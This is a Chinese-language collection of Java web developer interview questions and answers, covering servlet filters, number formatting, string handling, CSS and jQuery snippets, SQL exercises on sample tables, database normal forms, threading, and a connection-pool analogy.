根据需要检查HttpServletRequest,也可以对HttpServletRequest头和数据进行修改
在HttpServletResponse到达客户端之前,拦截HttpServletResponse
根据需要检查HttpServletResponse,也可以对HttpServletResponse头和数据进行修改
Filter可以拦截多个请求和响应,一个请求和响应可以被多个Filter拦截
Filter种类:
用户授权的Filter:Filter负责检查用户的请求,根据请求过滤用户的非法请求
日志Filter:详细记录用户的请求信息
负责解码的Filter:对非标准编码的解码
能改变XML内容的XSLT Filter等
Filter的实现:
创建Filter处理类:Filter处理类必须实现javax.servlet.Filter接口。该接口有3个方法:
public void init(FilterConfig arg0) throws ServletException
用于初始化Filter,只会在Web容器启动的时候自动调用而且只调用一次,FilterConfig 封装了Filter配置参数(init-param)内容信息,初始化的时候可以直接拿出来
在acegi安全认证中FilterConfig封装的是被代理对象
public void doFilter(ServletRequest req, ServletResponse res,FilterChain chain) throws IOException,ServletException
用于实现过滤的方法,该方法会在每次请求中调用,或每次响应中调用
ServletRequest 封装了请求信息,ServletResponse 封装了响应信息
在chain.doFilter(req, res);代码执行之前进行的处理是对请求的预处理,在chain.doFilter(req, res);代码执行之后执行的处理是对响应进行的后处理,一般拥有权限的才调用chain.doFilter(req, res);方法或者跳转到错误页面
public void destroy()
用于进行资源释放,当过滤处理完毕后会调用该方法。
Web.xml中配置Filter:
配置Filter名,如下:
<filter>
<filter-name>myFilter</filter-name>
<filter-class>com.lanp.MyFilter</filter-class>
<init-param>
<param-name>super_role</param-name>
<param-value>lanp</param-value>
</init-param>
</filter>
配置Filter名,如下:
<filter-mapping>
<filter-name>myFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
2013年9月1日:易度软件开发
问题1、如何格式化double数据,保留小数点后x位,有多少种方式?
这里我们拿 Math.PI 来讨论,保留两位小数点 。(PI = 3.141592653589793)圆周率π
===================================================
【方案1】
Math.round( Math.PI * 100 ) /100.0
Math.PI * 100 = 314.1592653589793
Math.round(314.1592653589793) = 314
314 / 100.0 = 3.14 (注意这里要除以 100.0 ,如果除以100的话,会是整除)
===================================================
【方案2】
String.format( "%.2f", Math.PI )
String类的静态方法
===================================================
【方案3】
new DecimalFormat("#.00").format(Math.PI)
java.text.DecimalFormat
===================================================
【方案4】
new BigDecimal(Math.PI).setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue()
特殊说明下,要用BigDecimal(String s)这个构造方法,不能直接传double的参数,不然四舍五入有问题的
java.math.BigDecimal
===================================================
【方案5】
NumberFormat nf = NumberFormat.getNumberInstance();
nf.setMaximumFractionDigits(2);
nf.format(Math.PI);
java.text.NumberFormat
===================================================
【方案6】
先转字符串,然后 substring截取
截取小数点后N位(先定位小数点位置):得到i //i表示小数点位置+N
定位小数点截取subString(0,i+1); //差不多这个意思...
===================================================
问题2、JAVA实现从10~50中随机生成50个数,统计出现的数字及次数,输出出现最多的次数及对应的数字,按数字升序排列?
public static void main(String[] args) {
TreeMap<Integer, Integer> map = new TreeMap<Integer, Integer>();
for (int i = 0; i < 50; i++) {
// random*41就是范围从0-40内,+10为10到50
int number = (int) (Math.random() * 41) + 10;
System.out.print(number + " ");
//统计次数,如果map里存在了+1,不存在则存入
if (map.containsKey(number)) {
map.put(number, map.get(number) + 1);
} else {
map.put(number, 1);
}
}
System.out.println();
Collection cols = map.values();//获取map的键值对里值的集合
int max = Collections.max(cols);//获取最大次数
List list = new ArrayList();
Iterator it = map.entrySet().iterator();//获取迭代器
while (it.hasNext()) {
Map.Entry entry = (Map.Entry) it.next();
Integer key = (Integer) entry.getKey();
Integer val = (Integer) entry.getValue();
//如果与最大次数相同则增加到集合中
if (val == max) {
list.add(key);
}
System.out.println(key + "出现的次数为:" + val);
}
System.out.println("出现的最大次数为:" + max);
Iterator maxNum = list.iterator();
while (maxNum.hasNext()) {
System.out.println("这些数字是:" + maxNum.next());
}
}
问题3、Final、finally、finalize的区别?
Final用于声明属性,方法和类,分别表示属性不可变,方法不可覆盖,类不可继承。
因此一个类不能既被声明为 abstract的,又被声明为final的。
将变量或方法声明为final,可以保证它们在使用中不被改变。
被声明为final的变量必须在new一个对象时初始化(即只能在声明变量或构造器或代码块内初始化),而在以后的引用中只能读取,不可修改。
被声明为final的方法也同样只能使用,不能覆盖(重写)。
finally是异常处理语句结构的一部分,表示总是执行。
finalize是Object类的一个方法,在垃圾收集器执行的时候会调用被回收对象的此方法,可以覆盖此方法提供垃圾收集时的其他资源回收,例如关闭文件等。JVM不保证此方法总被调用。
方法名,Java 技术允许使用 finalize() 方法在垃圾收集器将对象从内存中清除出去之前做必要的清理工作。这个方法是由垃圾收集器在确定这个对象没有被引用时对这个对象调用的。
它是在 Object 类中定义的,因此所有的类都继承了它。
子类覆盖 finalize() 方法以整理系统资源或者执行其他清理工作。finalize() 方法是在垃圾收集器删除对象之前对这个对象调用的。
注意:finalize不一定被JVM调用,只有当垃圾回收器要清除垃圾时才被调用。
问题4、如何将int、char、boolean类型的数据转换为字符串类型?
String.valueOf(i);
Integer.toString(i); Character.toString(i);Boolean.toString(i);
String s = "" + i;
问题5、如何将字符串类型转换为int、boolean类型?
Integer.parseInt(String);
Integer.valueOf(String).intValue();
Boolean.parseBoolean("true");
Boolean.valueOf("true").booleanValue();
问题6、以下代码的运行结果?
String a = "xyz";
String b = "xyz";
String c = new String("xyz");
String k = "xy" + "z";
System.out.println(a == b); //true
System.out.println(b == c); //false
System.out.println(b.equals(c));//true
System.out.println(a == k); //true
System.out.println(a.equals(k));//true
问题7、以下代码会发生什么问题?
for (double k = 0.5;; k = k + 0.1) {
if (k == 1) {
break;
}
}
Double会发生精度丢失问题,造成死循环
问题8、概述MVC体系结构?
MVC是Model-View-Controller的简写。
M代表业务逻辑层(通过JavaBean,EJB组件实现)。
V是视图层(由JSP页面产生)。
C属于控制层(一般可以用基础的Servlet实现,也可用Struts等开源框架实现)
通过这种设计模型把应用逻辑,处理过程和显示逻辑分成不同的组件实现。这些组件可以进行交互和重用。
问题9、现有一个页面,如何记录该页面的访问次数,有哪些实现方式?
使用监听器当Session建立时sessionCreated(),存放在Application里的访问次数+1
使用JavaScript在页面打开时,往后台发送一个请求,浏览次数+1
window.onload=function(){
// 此处发送异步请求,浏览次数+1
}
问题10、JSP标准标签库中常用的标签有哪些?
< c:out>、<c:if>、<c:choose>、<c:forEach>、<c:url>、<c:redirect>、<c:param>
问题11、页面中html代码片段如下,请问 infoArea 的背景颜色是什么,并请解析原因?
<style type="text/css">
.green {background-color:green}
</style>
<div id="infoArea" class="green"
style="background-color:red; width:100px; height:50px"></div>
infoArea的背景色是红色,因为style的权重是1000,而类选择器的权重仅为10,优先级判断为style
CSS规范为不同类型的选择器定义了特殊性权重,特殊性权重越高,样式会被优先应用。
权重设定如下:
html选择器,权重为1
类选择器,权重为10
id选择器,权重为100
内联样式style,权重为1000
这里还有一种情况:在html标签中直接使用style属性,这里的style属性的权重为1000;
问题12、写一段js脚本将 infoArea的高度改为200px。最好能使用jquery语法?
$(function(){
$("#infoArea").css({"height":"200px"});
});
问题13、页面上有2个按钮Button1和Button2;当点击Button1时,显示div1,隐藏div2;当点击Button2时,显示div2,隐藏div1,如何实现?
<input type="button" id="Button1" value="Button1">
<input type="button" id="Button2" value="Button2">
<div id="div1">div1</div>
<div id="div2">div2</div>
$(function(){
$("#Button1").click(function(){
$("#div2").hide();
$("#div1").show();
});
$("#Button2").click(function(){
$("#div1").hide();
$("#div2").show();
});
});
问题14、使用JSTL标签,将dataList数据以表格方式展现。(假设标签库已引入,<%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>)
<%
List<Map<String, Object>> dataList = new ArrayList<Map<String, Object>>();
Map<String, Object> dataMap = new HashMap<String, Object>();
dataList.add(dataMap);
dataMap.put("ID", "1001");
dataMap.put("NAME", "张三");
dataMap.put("SCORES", 90);
dataMap = new HashMap<String, Object>();
dataList.add(dataMap);
dataMap.put("ID", "1002");
dataMap.put("NAME", "李四");
dataMap.put("SCORES", 95);
pageContext.setAttribute("dataList",dataList);
%>
......
工号 名称 分数
1001 张三 90
...... ...... ......
代码如下:
<table border="1" width="50%">
<tr>
<td>工号</td><td>姓名</td><td>分数</td>
</tr>
<c:forEach var="dataMap" items="${dataList}">
<c:forEach var="data" items="${dataMap}">
<c:if test="${data.key=='ID'}">
<c:set var="id" value="${data.value}"></c:set>
</c:if>
<c:if test="${data.key=='NAME'}">
<c:set var="name" value="${data.value}"></c:set>
</c:if>
<c:if test="${data.key=='SCORES'}">
<c:set var="scores" value="${data.value}"></c:set>
</c:if>
</c:forEach>
<tr>
<td>${id}</td><td>${name}</td><td>${scores}</td>
</tr>
</c:forEach>
</table>
问题15、数据库编程题?
表名:g_cardapply
字段(字段名/类型/长度):
g_applyno varchar 8;//申请单号(关键字)
g_applydate bigint 8;//申请日期
g_state varchar 2;//申请状态
表名:g_cardapplydetail
字段(字段名/类型/长度):
g_applyno varchar 8;//申请单号(关键字)
g_name varchar 30;//申请人姓名
g_idcard varchar 18;//申请人身份证号
g_state varchar 2;//申请状态
其中,两个表的关联字段为申请单号。
建表语句:
DROP DATABASE IF EXISTS yidu;
CREATE DATABASE yidu;
USE yidu;
DROP TABLE IF EXISTS g_cardapply;
CREATE TABLE g_cardapply(
g_applyno VARCHAR(8),
g_applydate BIGINT(8),
g_state VARCHAR(2),
PRIMARY KEY (g_applyno)
);
DROP TABLE IF EXISTS g_cardapplydetail;
CREATE TABLE g_cardapplydetail(
g_applyno VARCHAR(8),
g_name VARCHAR(30),
g_idcard VARCHAR(18),
g_state VARCHAR(2),
PRIMARY KEY (g_applyno)
);
INSERT INTO g_cardapply values("12345677",13780512,"01");
INSERT INTO g_cardapply values("12345678",13780512,"02");
INSERT INTO g_cardapply values("12345679",13780512,"01");
INSERT INTO g_cardapply values("12345680",13780512,"02");
INSERT INTO g_cardapplydetail values("12345677","陈太上","12345678910","01");
INSERT INTO g_cardapplydetail values("12345678","陈太上","12345678910","02");
INSERT INTO g_cardapplydetail values("12345679","李小龙","12345678911","01");
INSERT INTO g_cardapplydetail values("12345680","李小龙","12345678911","02");
SELECT * FROM g_cardapply;
SELECT * FROM g_cardapplydetail;
select from_unixtime(1378051200000/1000);#BIGINT转datetime
select UNIX_TIMESTAMP('2013-09-02')/100;#time转BIGINT
查询身份证号码为440401430103082的申请日期
SELECT gc.g_applydate
FROM g_cardapply gc,g_cardapplydetail gcd
WHERE gc.g_applyno = gcd.g_applyno AND
gcd.g_idcard = '440401430103082';
查询同一个身份证号码有两条以上记录的身份证号码及记录个数
SELECT g_idcard,count(g_idcard)
FROM g_cardapplydetail
group by g_idcard
having count(g_idcard)>=2;
将身份证号码为440401430103082的记录在两个表中的申请状态均改为07;
UPDATE g_cardapply SET g_state='07'
WHERE g_applyno in
(SELECT g_applyno FROM g_cardapplydetail
WHERE g_idcard='440401430103082');
删除g_cardapplydetail表中所有姓李的记录
DELETE FROM g_cardapplydetail
WHERE g_name like '李%';
问题16、数据库编程题,学生表(student{studentId, groupId, studentName, score})和兴趣小组表(study_group{groupId,groupName})关联如下图。
学校每个学生都可以选择参加一个兴趣小组(也可以不参加)。问:
建表语句:
DROP DATABASE IF EXISTS yidu;
CREATE DATABASE yidu;
USE yidu;
DROP TABLE IF EXISTS study_group;
CREATE TABLE study_group(
groupId VARCHAR(38),
groupName VARCHAR(30),
PRIMARY KEY (groupId)
);
DROP TABLE IF EXISTS student;
CREATE TABLE student(
studentId VARCHAR(38),
groupId VARCHAR(38),
studentName VARCHAR(10),
score NUMERIC(4,1),
PRIMARY KEY (studentId),
CONSTRAINT fk_gid FOREIGN KEY(groupId) REFERENCES study_group(groupId)
);
INSERT INTO study_group values("123","一组");
INSERT INTO study_group values("124","二祖");
INSERT INTO student values("1","123","陈一",90.9);
INSERT INTO student values("2","123","陈二",81.9);
INSERT INTO student values("3","124","陈三",93.9);
INSERT INTO student values("4","124","陈四",70.9);
INSERT INTO student values("5",null,"陈五",60.9);
INSERT INTO student values("6",null,"陈六",80.9);
SELECT * FROM study_group;
SELECT * FROM student;
用一条SQL查出各小组成绩最优秀的学生,需要查出<小组名称、学生名称、成绩>
SELECT sgp.groupName,stu.studentName,max(stu.score)
FROM student stu,study_group sgp
WHERE stu.groupId = sgp.groupId
GROUP BY sgp.groupName;
将所有没有参加小组的学生的活动成绩更新为0
UPDATE student set score = 0
WHERE groupId IS NULL;
用一条sql查出所有学生参加兴趣小组的情况,需要查出<学生名称、小组名称>如果学生没有参加小组,则小组名称返回“没有参加小组”
SELECT stu.studentName,IFNULL(sgp.groupName ,'没有参加小组')
FROM student stu LEFT JOIN study_group sgp
on stu.groupId = sgp.groupId;
问题17、用程序在控制台打印出所有由1、2、3、4组合出来的4位数,不可重复出现同一个数字
/**
* 本法是输入1,2,3,4不重复的4位数
*一个循环是代表一个位数,在最后一层中做个判断并输出,就可以显示了。
*/
for (int i = 1; i < 5; i++) {
for (int j = 1; j < 5; j++) {
for (int m = 1; m < 5; m++) {
for (int n = 1; n < 5; n++) {
if (i != j && i != m && i != n && j != m && j != n
&& m != n) {
System.out.println(i + "" + j + "" + m + "" + n);
}
}
}
}
}
问题18、请用jQuery或任一AJAX框架写一个异步提交请求,要求有成功处理回调函数、失败回调函数,使用json格式传递数据。(具体业务参数、业务逻辑可留空)
回调函数:
代表请求返回内容的 data; 代表请求状态的 textStatus 对象和 XMLHttpRequest 对象
$.post(url,{"username":"java"},function(backData,status,xhr){
if(status=="success"){
}else{
}
});
问题19、将页面所有table边框颜色设置为#66FFCC,table里面的th元素里的文字大小设为13px,td里的文字大小设为12px?
<style type="text/css">
table{border-color: #66FFCC}
table th{font-size: 13px}
table td{font-size: 12px}
</style>
问题20、将页面id为form1的Form表单背景颜色设为#66FFCC?
<style type="text/css">
#form1{background: #66FFCC}
</style>
问题21、要求用js将下列html中class=”a”的<li/>标签的innerText填充为”hello world”。
function add(){
var lis = document.getElementsByTagName("li");
for(var i=0; i <lis.length; i++){
if(lis[i].className=="a"){
lis[i].innerText="hello world";
}
}
}
add();
问题22、请用流复制的方式,完成以下文件复制方法,不许使用第三方类库?
public void copyFile(String sourceFilePath, String targetFilePath) throws Exception {
FileInputStream fis=new FileInputStream(sourceFilePath);
FileOutputStream fos=new FileOutputStream(targetFilePath);
byte[] byt=new byte[1024];//缓冲区
int len=0;
while((len=fis.read(byt))>0){
fos.write(byt,0,len);
}
fis.close();
fos.close();
}
问题23、用程序在控制台输出101-199之间所有质数(大于1且不能被1或自己以外的自然数?
for (int i = 101; i < 200; i++) {
int a = 0;
for (int j = 1; j <= i; j++) {
if (i % j == 0) {
//第一次是被1整除,第二次是被自己整除
a++;
}
if (i == j && a == 2) {
System.out.println(i);
}
}
}
问题24、数据库编程题
有一张部门表sec_dept
dept_id varchar2(38) dept_name varchar2(100) parent_id varchar(38)
部门id 部门名称 上级部门id
建表语句:
DROP TABLE sec_dept;
CREATE TABLE sec_dept(
dept_id VARCHAR2(38),
dept_name VARCHAR2(100),
parent_id VARCHAR(38),
PRIMARY KEY (dept_id)
);
INSERT INTO sec_dept values('1','部门A',null);
INSERT INTO sec_dept values('2','部门B',null);
INSERT INTO sec_dept values('3','部门C','1');
INSERT INTO sec_dept values('4','部门D','2');
INSERT INTO sec_dept values('5','部门E','3');
INSERT INTO sec_dept values('6','部门F','4');
SELECT * FROM sec_dept;
如果该部门为顶级部门则parent_id为null。现要求:
用一条sql从顶级部门开始递归查出所有部门,并展示各个部门的级别。Sql可以写plsql或tsql。
结果格式如:
部门名称 级别
部门A 1
部门B 2
部门C 2
部门D 3
部门E 3
部门F 3
select dept_name,parent_id from sec_dept
start with dept_id in (select dept_id from sec_dept where parent_id is null)
connect by prior dept_id=parent_id;
假设目前需要对所有部门表进行分页查询(不用考虑问题1的部门级别),每页数据显示10条记录,目前要查第3页的部门数据,请写出查询sql(假设部门不止30个)
SELECT * FROM
(
SELECT A.*, ROWNUM RN
FROM (SELECT * FROM sec_dept) A
WHERE ROWNUM <= 30
)
WHERE RN >= 21;
问题25、数据库编程题?
现有工资表income字段如下:
Income_time Date person Dept_id Dept_name income
收入日期 人员 部门id 部门名称 收入
建表语句:
DROP TABLE income;
CREATE TABLE income(
income_time Date,
person VARCHAR2(50),
Dept_id VARCHAR(20),
Dept_name VARCHAR(20),
income number
);
INSERT INTO income values(sysdate,'A号','1','A部门',1000);
INSERT INTO income values(add_months(sysdate,-1),'A号','1','A部门',2000);
INSERT INTO income values(add_months(sysdate,1),'A号','1','A部门',3000);
INSERT INTO income values(sysdate,'B号','2','B部门',700);
INSERT INTO income values(add_months(sysdate,-1),'B号','2','B部门',500);
INSERT INTO income values(add_months(sysdate,1),'B号','2','B部门',600);
INSERT INTO income values(sysdate,'C号','3','C部门',4000);
INSERT INTO income values(add_months(sysdate,-1),'C号','3','C部门',3500);
INSERT INTO income values(add_months(sysdate,1),'C号','3','C部门',4500);
要求用一个SQL语句(注意是一个)的处所有人(不区分人员)每个月及上月和下月的总收入
要求列表输出为:
年份 月份 当月收入 上月收入 下月收入
select
(SELECT to_char(sysdate,'yyyy') from dual) as "年份",
(SELECT to_char(sysdate,'mm') from dual) as "月份",
(SELECT sum(income) from income where to_char(income_time,'mm')=to_char(sysdate,'mm')) as "当月收入",
(SELECT sum(income) from income where to_char(income_time,'mm')=to_char(sysdate,'mm')-1) as "上月收入",
(SELECT sum(income) from income where to_char(income_time,'mm')=to_char(sysdate,'mm')+1) as "下月收入"
from dual;
查出各个月份的各部门所有人总收入,要求生成合计行
生成结果如:
2013年 6月 开发1部 A君 3000
2013年 6月 开发1部 B君 3000
2013年 6月 开发1部 C君 3000
2013年 6月 开发1部 合计 9000
2013年 6月 开发2部 D君 3000
2013年 6月 开发2部 E君 3000
2013年 6月 开发2部 合计6000
注意: 统计了各月份各部门所有人的总收入,但未实现生成合并行
SELECT to_char(income_time,'yyyy-mm'),dept_name,person,sum(income)
FROM income
GROUP BY to_char(income_time,'yyyy-mm'),dept_name,person
ORDER BY to_char(income_time,'yyyy-mm');
问题26、数据库编程题
当前有两个数据量很大的宽表A和B
A结构:
Pk_id varchar2(38) Filed1 varchar2(200) Filed2 varchar2(200) ….
主键 字段1 字段2 其余字段
B结构:
Pk_id varchar2(38) Fk_id varchar2(38) Filed1 varchar2(200) Filed2. varchar2(200) …. Create_time
主键 关联A的外键 字段1 字段2 其余字段 生成时间
其中表B的数据每日生成一次,且新增数量级达到百万级。
表A为维表数据基本不变。表A和B除主、外键没有任何键或其它优化措施。
目前需每月通过以下sql统计出符合条件的B表的Feild1和Field2明细信息
Select * from B
where Months_between(create_time, sysdate) = 0
and fk_id in (select pk_id from A where A.field1 = ‘condition’)
若只考虑对上述sql查询性能的优化,可以采取哪些优化措施?(优化措施可有多种,请尽量列举)
1、通配符*号修改为Field1和Field2
2、为A表的Field1建立索引
3、in修改为exists
2013年9月5日:
问题1、说说ArrayList,Vector, LinkedList的存储性能和特性?
ArrayList和Vector都是使用数组方式存储数据,此数组元素数大于实际存储的数据以便增加和插入元素,它们都允许直接按序号索引元素,但是插入元素要涉及数组元素移动等内存操作,所以索引数据快而插入数据慢,Vector由于使用了synchronized方法(线程安全),通常性能上较ArrayList差,而LinkedList使用双向链表实现存储,按序号索引数据需要进行前向或后向遍历,但是插入数据时只需要记录本项的前后项即可,所以插入速度较快。
LinkedList也是线程不安全的,LinkedList提供了一些方法,使得LinkedList可以被当作堆栈和队列来使用。
问题2、short s1 = 1; s1 = s1 + 1;有什么错? short s1 = 1; s1 += 1;有什么错?
short s1 = 1; s1 = s1 + 1; (s1+1运算结果是int型,需要强制转换类型)
short s1 = 1; s1 += 1;(可以正确编译)
当使用+=、-=、*=、/=、%=、运算符对基本类型进行运算时,遵循如下规则:
运算符右边的数值将首先被强制转换成与运算符左边数值相同的类型,然后再执行运算,且运算结果与运算符左边数值类型相同。
在s1=s1+1;中,s1+1运算的结果是int型,把它赋值给一个short型变量s1,所以会报错
而在s1+=1;中,由于s1是short类型的,所以1首先被强制转换为short型,然后再参与运算,并且结果也是short类型的,因此不会报错
那么,s1=1+1;为什么不报错呢?
这是因为1+1是个编译时可以确定的常量,“+”运算在编译时就被执行了,而不是在程序执行的时候,这个语句的效果等同于s1=2,所以不会报错。
前面讲过了,对基本类型执行强制类型转换可能得出错误的
结果,因此在使用+=、-=、*=、/=、%=、等运算符时,要多加注意。
问题3、说说你对数据库设计里的三范式的理解?
第一范式(1NF)无重复的列
所谓第一范式(1NF)是指数据库表的每一列都是不可分割的基本数据项,同一列中不能同时有多个值,即实体中的某个属性不能有多个值或者不能有重复的属性。
如果出现重复的属性,就可能需要定义一个新的实体,新的实体由重复的属性构成,新实体与原实体之间为一对多关系。在第一范式(1NF)中表的每一行只包含一个实例的信息。简而言之,第一范式就是无重复的列。
在任何一个关系数据库中,第一范式(1NF)是对关系模式的基本要求,不满足第一范式(1NF)的数据库就不是关系数据库。
在当前的任何关系数据库管理系统(DBMS)中,不可能做出不符合第一范式的数据库,因为这些DBMS不允许你把数据库表的一列再分成二列或多列。因此,你想在现有的DBMS中设计出不符合第一范式的数据库都是不可能的。
举例:
一张学生表Student(stuNo,stuName,age,age,sex)是不符合第一范式的,因为有重复列age属性。
去除重复列age以后的Student(stuNo,stuName,age,sex)是符合第一范式的。
第二范式(2NF)属性完全依赖于主键 [ 消除部分子函数依赖 ]
第二范式(2NF)是在第一范式(1NF)的基础上建立起来的,即满足第二范式(2NF)必须先满足第一范式(1NF)。
第二范式(2NF)要求数据库表中的每个实例或行必须可以被唯一地区分。为实现区分通常需要为表加上一个列,以存储各个实例的唯一标识。
例如员工信息表中加上了员工编号(emp_id)列,因为每个员工的员工编号是唯一的,因此每个员工可以被唯一区分。这个唯一属性列被称为主关键字或主键、主码。
第二范式(2NF)要求实体的属性完全依赖于主关键字。
所谓完全依赖是指不能存在仅依赖主关键字一部分的属性,如果存在,那么这个属性和主关键字的这一部分应该分离出来形成一个新的实体,新实体与原实体之间是一对多的关系。
为实现区分通常需要为表加上一个列,以存储各个实例的唯一标识。简而言之,第二范式就是属性完全依赖于主键。
这里说的主关键字可能不只有一个,有些情况下是存在联合主键的,就是主键有多个属性。
举例:
以学生选课为例,每个学生都可以选课,并且有这一门课程的成绩,那么如果将这些信息都放在一张表StuGrade(stuNo,stuName,age,sex,courseNo,courseName,credit,score)。
如果不仔细看,我们会以为这张表的主键是stuNo,但是当我们看到最后一个score属性以后,在想想如果没有课程信息,那么哪里有学生成绩信息呢。所以这张表的主键是一个联合主键(stuNo,corseNo),这个联合属性能够唯一确定score属性。
那么再看其他信息,比如stuName只需要stuNo就能够唯一确定,courseName只需要courseNo就能够唯一确定,因此这样就存在了部分依赖,不符合第二范式。
如果要让学生课程成绩信息满足第二范式,那么久需要将这张表拆分成多张表,一张学生表Studnet(stuNo,stuName,age,sex),一张课程表Course(courseNo,courseName,credit),还有最后一张学生课程成绩表StuGrade(stuNo,courseNo,score)。如下:
这样就符合第二范式了。
第三范式(3NF)属性不依赖于其它非主属性 [ 消除传递依赖 ]
满足第三范式(3NF)必须先满足第二范式(2NF)。
简而言之,第三范式(3NF)要求一个数据库表中不包含已在其它表中已包含的非主关键字信息。
举例:
每一个员工都有一个所属部门,假如有一个员工信息表
Employee(emp_id,emp_name,emp_age,dept_id,dept_name,dept_info)
这张员工信息表的主键是emp_id,因为这个属性能够唯一确定其他所有属性,比如知道员工编号emp_id以后,肯定能够知道员工姓名,所属部门编号,部门名称和部门介绍。
所以这里dept_id不是主属性,而是非主属性。
但是,我们又可以发现dept_name,dept_info这两个属性也可以由dept_id这个非主属性决定,即dept_name依赖dept_id,而dept_id依赖emp_id,这样就存在了传递依赖。而且我们可以看出传递依赖的一个明显缺点就是数据冗余非常严重。
那么如何解决传递依赖问题?
其实非常简单,我们只需要将dept_name,dept_info这连个属性删除就可以了。
即修改为Employee(emp_id,emp_name,emp_age,dept_id)
然后再创建一个部门表Dept(dept_id,dept_name,dept_info)
这样如果要搜索某一个员工的部门信息dept_info,可以通过数据库连接来实现,查询语句如下:
SELECT e.emp_id,e.emp_name,d.dept_name
FROM Employee e,Dept d
WHERE e.dept_id=d.dept_id;
注意:
数据库连接会带来一部分的性能损失
并不是数据库范式越高效率越高
有时会在数据冗余与范式之间做出权衡,在实际的数据库开发过程中,往往会允许一部分的数据冗余来减少数据库连接
问题4、数据库范式越高越好吗?
使用范式的主要目的是为了减少数据冗余、消除插入异常、更新异常、删除异常。
另外从程序设计的角度范式把数据模式做到了高内聚低耦合让数据组织的更加和谐。
在数据库设计中应尽量满足最高范式,但是应用的范式等级越高,查询时需要连接的表就越多,这样会增加了查询的复杂度,降低了数据库查询性能处理速度缓慢和处理逻辑复杂
为了提高数据库的运行效率,常常需要降低范式标准:适当增加冗余,达到以空间换时间的目的。
问题5、设计4个线程,中两个线程每次对j增加1,另外两个线程对j每次减少1,请写出代码?
// 采用 Runnable 接口方式创建的多条线程可以共享实例属性
private int data;
/*
* 这里add方法和sub方法加synchronized关键字
* 是因为当两个线程同时操作同一个变量时
* 就算是简单的j++操作时,在系统底层也是通过多条机器语句来实现
* 所以在执行j++过程也是要耗费时间,
* 这时就有可能在执行j++的时候,另外一个线程H就会对j进行操作
* 因此另外一个线程H可能操作的可能就 不是最新的值了,因此要提供线程同步
*/
// 同步增加方法
private synchronized void add() {
data++;
System.out.println(Thread.currentThread().getName() + ":" + data);
}
// 同步减少方法
private synchronized void sub() {
data--;
System.out.println(Thread.currentThread().getName() + ":" + data);
}
// 增加线程
class Add implements Runnable {
public void run() {
for (int i = 0; i < 10; i++) {
add();
}
}
}
// 减少线程
class Sub implements Runnable {
public void run() {
for (int i = 0; i < 10; i++) {
sub();
}
}
}
public static void main(String[] args) throws Exception {
Test t = new Test();
//内部类的实例化
Add add = t.new Add();
Sub sub = t.new Sub();
//创建线程,每次创建2个线程,此处为2*n个线程,n=2
for (int i = 0; i < 2; i++) {
Thread t1 = new Thread(add);
t1.start();
Thread t2 = new Thread(sub);
t2.start();
}
}
问题6、写一个方法,实现字符串的反转,如:输入abc,输出cba?
方法1:
String data="abc";
char[] ch = data.toCharArray();
StringBuffer sb=new StringBuffer();
for (int i = ch.length-1; i >=0; i--) {
sb.append(ch[i]);
}
System.out.println(sb);
方法2:
String data="abc";
int length = data.length();
StringBuffer sb=new StringBuffer(length);
for (int i = length-1; i >= 0; i--) {
sb.append(data.charAt(i));
}
System.out.println(sb);
方法3:
String data="abc";
int length = data.length();
String str="";
for (int i = 0; i < length; i++) {
str=data.substring(i,i+1)+str;
}
System.out.println(str);
方法4:
String data="abc";
StringBuffer sb=new StringBuffer(data);
String str = sb.reverse().toString();
System.out.println(str);
方法5:递归
public static void main(String[] args) {
String data="abc";
String reverse = Test.reverse(data);
System.out.println(reverse);
}
public static String reverse(String data){
if(data.length()==1){
return data;
}
String str = data.substring(data.length()-1, data.length());
str+=reverse(data.substring(0,data.length()-1));
return str;
}
问题7、对于池技术的理解?-->以C3P0连接池为例
----------------------------故事叙述开始
讲个故事,你就懂了。
你出生在古代,并且开了个餐馆。但你比较笨,一开始炒菜时,每炒一道菜都要 生火,炒菜,灭火, 炒第二道菜又要 生火,炒菜,灭火,第三道菜如此....。
开了几天饭馆后,你觉得做菜很慢,跟不上客户的速度,老被骂,冤枉啊!然后你就分析了,劈材生火最浪费时间,你一拍大腿:“我怎么就没想到呢? 靠,我炒菜后不灭火不就快了吗?”
掌握了“不灭火大法”真理的你,炒菜速度越发加快,赢得了新老食客的一致好评。美丽女顾客:“上菜真快呀,亲!”。
由于生意太好,好评率100%,顾客大大增加了,你的炒菜速度又跟不上了,你想啊想啊,怎么样才能增加效率呢? 突然,正看着锅里“卤煮寒鸦儿”菜,冰雪聪慧的你突然一拍大腿,这些煮菜、炖菜太费时,而出锅速度快的炒菜要在后面排队。我应该同时使用2个锅(与炉子)不断火来做菜,不,3个锅!
锅台的增加使你做菜效率翻了几倍,食客和他们的小伙伴都惊呆了!然后,顾客自然更多了,面对熙熙攘攘等待上菜的食客,你的嘴角又露出一丝令人不易察觉的奸笑:“继续增加锅台!”。
可惜这村子小,锅呢?很贵,你买不起,都是从炊具店租来的。随着你同时启用的锅越来越多,终于,炊具店没货了。这时,你已经整整使用了20个锅,有好几个伙计在同时做菜。
你仰天长啸,“看来老夫最大只能使用同时20个锅了,吉尼斯纪录破不了了!已经到了我的maxPoolSize了!”
maxPoolSize:连接池中保留的最大连接数。默认为15
伙计:“老板,你说什么鸟语?我怎么听不懂啊?”你:“要不怎么我当,老板你当伙计呢?”伙计暗忖:“你妹的!” ----------------------------由于打字叙述太麻烦,以下全部使用对话来阐述剧情
由于启用了20个锅台,生意大好,到了晚上,伙计问道:“老板,明天我们上午开张时,一开始同时烧几个锅子呀?”你想了想:“5个把,烧少了客人多了来不及。”伙计:“得令!”你:“恩,就把initialPoolSize设成5就行了?”伙计:“..............”伙计:“奥,那一开始开5个锅,之后呢?客人多了我们增加锅是一个一个加吗?”你:“笨死了,记好了,当锅不够用了的时候,一次加acquireIncrement个!”伙计:“....你说啥?”你:“额,3个,把acquireIncrement设为3.”伙计:“恩,3个,记住了,其他的听不懂。”
initialPoolSize:初始化时创建的连接数,应在minPoolSize与maxPoolSize之间取值。默认为3
acquireIncrement:当连接池中的连接用完时,C3P0一次性创建新连接的数目一天后伙计:“哦,老板,一开始开5个锅,后来每次连开3个锅,连续生火太呛人,大家都受不了了,我们应该在每个锅点火之间休息一小下。”你:“有理,就休息acquireRetryDelay毫秒把,额,10秒,懂了吗?”伙计:“懂了,太好了,每次给我们10秒钟来休息,您真是我们的好老板啊!”
